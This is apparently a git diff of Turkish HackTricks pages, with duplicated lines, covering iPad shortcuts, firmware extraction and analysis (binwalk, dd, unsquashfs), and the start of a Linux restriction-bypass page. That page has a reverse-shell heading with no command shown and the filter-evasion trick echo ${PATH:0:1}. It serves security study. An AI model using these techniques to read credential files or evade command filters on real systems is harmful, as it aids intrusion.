| F10 | Sessizleştir |
| F11 | Ses düzeyini azalt |
| F12 | Ses düzeyini artır |
| ⌘ Boşluk| Mevcut dillerin listesini görüntüler; birini seçmek için tekrar boşluğa dokunun. |
#### iPad gezinme
| Kısayol | Eylem |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ana ekrana git |
| ⌘⇧H (Komut-Shift-H) | Ana ekrana git |
| ⌘ (Space) | Spotlight'ı |
| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listele |
| ⌘\~ | Son Uygulamaya Git |
| ⌘H | Ana Ekrana Git |
| ⌘⇧H (Komut-Shift-H) | Ana Ekrana Git |
| ⌘ (Boşluk) | Spotlight'ı Aç |
| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listeler |
| ⌘\~ | Son Uygulamaya Git |
| ⌘⇧3 (Komut-Shift-3) | Ekran Görüntüsü Al (alt sol köşede kaydetme veya işlem yapma) |
| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç |
| ⌘'yi basılı tutun | Uygulama için kullanılabilir kısayolların listesi |
| ⌘⌥D (Komut-Option/Alt-D) | Dock'u aç |
| ^⌥H (Kontrol-Option-H) | Ana düğme |
| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Option-i) | Öğe seçici |
| Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe |
| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokunun |
| ⌥ ↓ (Alt-Aşağı ok) | Aşağı kaydır |
| ⌥↑ (Alt-Yukarı ok) | Yukarı kaydır |
| ⌥← veya ⌥→ (Alt-Sol ok veya Alt-Sağ ok) | Sola veya sağa kaydır |
| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını aç veya kapat |
| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç |
| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön |
| ←+→, sonra Option + ← veya Option+→ | Dock'ta gezinmek için |
| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç |
| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesi |
| ⌘⌥D (Komut-Option/Alt-D) | Dock'u açar |
| ^⌥H (Kontrol-Option-H) | Ana düğme |
| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Option-i) | Öğe seçici |
| Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe |
| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokun |
| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır |
| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır |
| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır |
| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını aç veya kapat |
| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç |
| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön |
| ←+→, sonra Seçenek + ← veya Seçenek+→ | Dock'tan geçiş yap |
#### Safari kısayolları
| Kısayol | Eylem |
| ----------------------- | ----------------------------------------------- |
| ⌘L (Command-L) | Konumu Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ^⇥ | Sonraki sekmeye geçiş yap |
| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geçiş yap |
| ⌘L | Metin girişi/URL alanını seçerek düzenleme yap |
| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git |
| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git |
| ⌘⇧R | Okuyucu Modunu Aktive Et |
| ⌘L (Command-L) | Konumu Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ^⇥ | Sonraki sekmeye geçiş yap |
| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geçiş yap |
| ⌘L | Metin girişi/URL alanını seçerek düzenleme yap |
| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git |
| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git |
| ⌘⇧R | Okuyucu Modunu Aktive Et |
#### Mail kısayolları
| Kısayol | Eylem |
| -------------------------- | ---------------------------- |
| ⌘L | Konumu Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ⌘L | Konumu Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ⌘⌥F (Command-Option/Alt-F) | Posta kutunuzda arama yap |
## Referanslar
@ -303,7 +286,7 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **etkilenip etkilenmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **etkilenip etkilenmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
@ -311,16 +294,17 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Firmware Analizi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **Giriş**
Firmware, cihazların donanım bileşenleri arasındaki iletişimi yöneterek ve kolaylaştırarak kullanıcıların etkileşimde bulunduğu yazılım ile cihazların doğru bir şekilde çalışmasını sağlayan temel bir yazılımdır. Cihazın açıldığı anda önemli talimatları erişebilmesini sağlayan kalıcı bellekte depolanır ve işletim sisteminin başlatılmasına yol açar. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarını belirlemede kritik bir adımdır.
Firmware, cihazların donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasındaki iletişimi yöneterek cihazların doğru bir şekilde çalışmasını sağlayan temel bir yazılımdır. Cihazın açıldığı anda önemli talimatları erişebilmesini sağlayan kalıcı bellekte depolanır ve işletim sisteminin başlatılmasına yol açar. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarının belirlenmesinde kritik bir adımdır.
## **Bilgi Toplama**
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik ilk adımıdır. Bu süreç, şunlar hakkında veri toplamayı içerir:
* Çalıştığı CPU mimarisi ve işletim sistemi
* CPU mimarisi ve çalıştırdığı işletim sistemi
* Bootloader özellikleri
* Donanım düzeni ve veri sayfaları
* Kod tabanı metrikleri ve kaynak konumları
@ -31,27 +32,27 @@ Firmware, cihazların donanım bileşenleri arasındaki iletişimi yöneterek ve
* Mimarlık ve akış diyagramları
* Güvenlik değerlendirmeleri ve belirlenen güvenlik açıkları
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir ve mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmles LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir ve mevcut açık kaynaklı yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analiz edilmesi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmles LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
## **Firmware Edinme**
Firmware'e ulaşma, kendi karmaşıklık seviyesine sahip çeşitli yöntemlerle ele alınabilir:
Firmware elde etme, kendi karmaşıklık seviyesine sahip çeşitli yöntemlerle ele alınabilir:
* **Kaynaktan doğrudan** (geliştiriciler, üreticiler)
* **Kaynaktan** (geliştiriciler, üreticiler) doğrudan
* Sağlanan talimatlarla **oluşturarak**
* Resmi destek sitelerinden **indirerek**
* Barındırılan firmware dosyalarını bulmak için **Google dork** sorgularını kullanma
* [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla doğrudan **bulut depolama** erişimi
* Orta adam saldırı teknikleriyle güncellemeleri **intercept etme**
* Orta adam saldırısı teknikleriyle güncellemeleri **araştırarak**
* **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkarma**
* Cihaz iletişimi içindeki güncelleme isteklerini **sızdırma**
* **Sabitlenmiş güncelleme uç noktalarını** tanımlama ve kullanma
* **Bootloader'dan veya ağdan** **dökme**
* Tüm diğer yöntemler başarısız olduğunda, uygun donanım araçlarını kullanarak depolama çipini **çıkarıp okuma**
* Tanımlama ve **sabitlenmiş güncelleme uç noktalarını** kullanma
* **Bootloader'dan veya ağdan** dump alma
* Tüm diğer yöntemler başarısız olduğunda, uygun donanım araçları kullanarak depolama yongasını **çıkararak ve okuyarak**
## Firmware'in Analizi
Şimdi **firmware'e sahip olduğunuza** göre, onun hakkında bilgi çıkarmak için bilgi çıkarmalısınız. Bunun için kullanabileceğiniz farklı araçlar:
Şimdi **firmware'e** sahip olduğunuza göre, onun hakkında bilgi çıkarmak için farklı araçlar kullanmanız gerekmektedir:
```bash
file <bin>
strings -n8 <bin>
@ -62,22 +63,22 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Eğer bu araçlarla çok fazla şey bulamazsanız, görüntünün **entropisini** `binwalk -E <bin>` ile kontrol edin, düşük entropi ise muhtemelen şifrelenmemiştir. Yüksek entropi ise muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır).
Ayrıca, bu araçları kullanarak **firmware içine gömülü dosyaları çıkarabilirsiniz**:
Ayrıca, firmware içine gömülü **dosyaları çıkarmak için bu araçları kullanabilirsiniz**:
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
Ya da [**binvis.io**](https://binvis.io/#/) ([kod](https://code.google.com/archive/p/binvis/)) ile dosyayı inceleyebilirsiniz.
Ya da dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([kod](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz.
### Dosya Sistemi Elde Etme
Önceki yorumlanmış araçlar gibi `binwalk -ev <bin>` ile **dosya sistemini çıkarmış olmanız gerekir**.\
Binwalk genellikle bunu, genellikle squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs gibi olan **dosya sistemine adanmış bir klasörün içine çıkarır**.
Önceki yorumlanmış araçlar gibi `binwalk -ev <bin>` ile **dosya sistemini çıkarmış olmanız gerekiyor**.\
Binwalk genellikle bunu, genellikle şunlardan biri olan **dosya sistemi türü adında bir klasörün içine çıkarır**: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Manuel Dosya Sistemi Çıkarma
Bazı durumlarda, binwalk'ün imzalarında **dosya sisteminin sihirli baytı olmayabilir**. Bu durumlarda, binwalk'ü kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini kesin** ve dosya sistemini türüne göre aşağıdaki adımları kullanarak **manuel olarak çıkarın**.
Bazı durumlarda, binwalk'ün imzalarında **dosya sisteminin sihirli baytı olmayabilir**. Bu durumlarda, binwalk'ü kullanarak **dosyanın dosya sistemi ofsetini bulun ve sıkıştırılmış dosya sistemini kesin** ve aşağıdaki adımları kullanarak dosya sistemini **el ile çıkarın**.
```
$ binwalk DIR850L_REVB.bin
@ -101,47 +102,35 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Alternatif olarak, aşağıdaki komut da çalıştırılabilir.
```shell
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
```
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
* Squashfs için (yukarıdaki örnekte kullanıldı)
```shell
$ unsquashfs dir.squashfs
```
`$ unsquashfs dir.squashfs`
Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
* CPIO arşiv dosyaları
```shell
$ cpio -ivd --no-absolute-filenames -F <bin>
```
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Jffs2 dosya sistemleri için
```shell
$ jefferson rootfsfile.jffs2
```
`$ jefferson rootfsfile.jffs2`
* NAND flaş ile ubifs dosya sistemleri için
```shell
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
```
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
```shell
$ ubidump.py <bin>
```
`$ ubidump.py <bin>`
## Firmware Analizi
Firmware elde edildikten sonra, yapısını anlamak ve potansiyel güvenlik açıklarını belirlemek için parçalamak esastır. Bu süreç, firmware görüntüsünden değerli verileri çıkarmak ve analiz etmek için çeşitli araçların kullanılmasını içerir.
Firmware elde edildikten sonra, yapısını anlamak ve potansiyel güvenlik açıklarını belirlemek için parçalamak esastır. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir.
### İlk Analiz Araçları
İkili dosyanın ( `<bin>` olarak adlandırılan) ilk incelemesi için bir dizi komut sağlanmıştır. Bu komutlar, dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ve dosya sistem ayrıntılarını anlamaya yardımcı olur:
İkili dosyanın ( `<bin>` olarak adlandırılan) ilk incelemesi için bir dizi komut sağlanmıştır. Bu komutlar, dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ve dosya sistem detaylarını anlamaya yardımcı olur:
```bash
file <bin>
strings -n8 <bin>
@ -150,13 +139,13 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Görüntünün şifreleme durumunu değerlendirmek için **entropy** değeri `binwalk -E <bin>` komutu ile kontrol edilir. Düşük entropy değeri şifreleme eksikliğini, yüksek entropy değeri ise olası şifreleme veya sıkıştırmayı gösterebilir.
Şifreleme durumunu değerlendirmek için **entropy** değeri `binwalk -E <bin>` komutu ile kontrol edilir. Düşük entropy değeri şifreleme eksikliğini, yüksek entropy değeri ise olası şifreleme veya sıkıştırmayı gösterebilir.
**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
**Gömülü dosyaları** çıkarmak için, **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
### Dosya Sisteminin Çıkarılması
`binwalk -ev <bin>` komutunu kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türünün adını taşıyan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** dosya sistemi türünü tanıyamadığında sihirli baytların eksikliği nedeniyle manuel çıkarma gereklidir. Bu, `binwalk`'ın dosya sisteminin ofsetini bulmasını ve ardından `dd` komutunu kullanarak dosya sisteminin çıkarılmasını içerir:
`binwalk -ev <bin>` kullanılarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türünün adını taşıyan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** dosya sistemi türünü tanıyamadığında sihirli baytların eksik olması nedeniyle manuel çıkarma gereklidir. Bu, `binwalk`'ın dosya sisteminin ofsetini bulmak için kullanılmasını ve ardından `dd` komutunun dosya sisteminin çıkarılmasını içerir:
```bash
$ binwalk DIR850L_REVB.bin
@ -171,7 +160,7 @@ Dosya sistemi çıkarıldıktan sonra, güvenlik açıklarının aranmasına ba
- Kullanıcı kimlik bilgileri için **etc/shadow** ve **etc/passwd**
- **etc/ssl** içindeki SSL sertifikaları ve anahtarlar
- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları
- İleriki analiz için gömülü ikili dosyalar
- İleri analiz için gömülü ikili dosyalar
- Ortak IoT cihazı web sunucuları ve ikili dosyalar
Dosya sistemi içinde hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan çeşitli araçlar bulunmaktadır:
@ -186,11 +175,11 @@ Dosya sisteminde bulunan hem kaynak kodları hem de derlenmiş ikili dosyalar, g
## Dinamik Analiz İçin Firmware Emülasyonu
Firmware'in emüle edilmesi, bir cihazın işleyişinin veya bireysel bir programın **dinamik analizinin** yapılmasını sağlar. Bu yaklaşım, donanım veya mimari bağımlılıklarıyla karşılaşabilir, ancak kök dosya sistemini veya belirli ikili dosyaları, Raspberry Pi gibi uyumlu mimariye ve bit sırasına sahip bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
Firmware'in emüle edilmesi, bir cihazın işleyişinin veya bireysel bir programın **dinamik analizinin** yapılmasını sağlar. Bu yaklaşım, donanım veya mimari bağımlılıklarıyla karşılaşabilir, ancak kök dosya sistemini veya belirli ikili dosyaları, Raspberry Pi gibi mimari ve bitiş düzenine sahip bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
### Bireysel İkili Dosyaların Emülasyonu
Tek programları incelemek için programın bit sırasını ve CPU mimarisini belirlemek önemlidir.
Tek programları incelemek için programın bitiş düzenini ve CPU mimarisini belirlemek önemlidir.
#### MIPS Mimarisi ile Örnek
@ -208,7 +197,7 @@ ARM ikili dosyaları için, emülasyon için `qemu-arm` emülatörü kullanılı
### Tam Sistem Emülasyonu
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) gibi araçlar, tam firmware emülasyonunu kolaylaştırır, süreci otomatikleştirir ve dinamik analize yardımcı olur.
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analiz Araç Seti](https://github.com/attify/firmware-analysis-toolkit) ve diğer araçlar, tam firmware emülasyonunu kolaylaştırır, süreci otomatikleştirir ve dinamik analize yardımcı olur.
## Uygulamada Dinamik Analiz
@ -216,11 +205,11 @@ Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullan
## Çalışma Zamanı Analiz Teknikleri
Çalışma zamanı analizi, bir işlem veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları belirleme ve bulanıklık ve diğer teknikler aracılığıyla zayıflıkları tanımlama.
Çalışma zamanı analizi, bir işlem veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları belirleme ve bulma ve diğer teknikler aracılığıyla zafiyetleri tanımlama.
## İkili Sömürü ve Kanıt-of-Kavramı
## İkili Sömürü ve Kanıt-of-Kavram
Belirlenen zayıflıklar için bir PoC geliştirmek, hedef mimariyi derinlemesine anlama ve düşük seviye dillerde programlama gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak varsa, Return Oriented Programming (ROP) gibi teknikler gerekebilir.
Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimariyi derinlemesine anlama ve düşük seviye dillerde programlama gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak varsa, Return Oriented Programming (ROP) gibi teknikler gerekebilir.
## Firmware Analizi İçin Hazırlanmış İşletim Sistemleri
@ -228,12 +217,12 @@ Belirlenen zayıflıklar için bir PoC geliştirmek, hedef mimariyi derinlemesin
## Firmware Analizi İçin Hazırlanmış İşletim Sistemleri
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testi yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Gerekli tüm araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size zaman kazandırır.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testi yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size zaman kazandırır.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ubuntu 18.04 tabanlı gömülü güvenlik testi işletim sistemi, firmware güvenlik testi araçlarıyla önceden yüklenmiş.
## Uygulamada Zayıf Firmware
## Uygulamada Zafiyetli Firmware
Firmware'deki zayıflıkları keşfetmek için aşağıdaki zayıf firmware projelerini başlangıç noktası olarak kullanın.
Firmware'deki zafiyetleri keşfetmek için aşağıdaki zafiyetli firmware projelerini bir başlangıç noktası olarak kullanın.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)

View file

@ -1,18 +1,19 @@
# Linux Kısıtlamalarını Atlatma
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'ı Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -22,7 +23,7 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Ortak Kısıtlamaları Atlatma Yöntemleri
## Yaygın Kısıtlamaları Atlatma Yöntemleri
### Ters Kabuk
```bash
@ -164,8 +165,8 @@ echo ${PATH:0:1} #/
### Yerleşik Fonksiyonlar
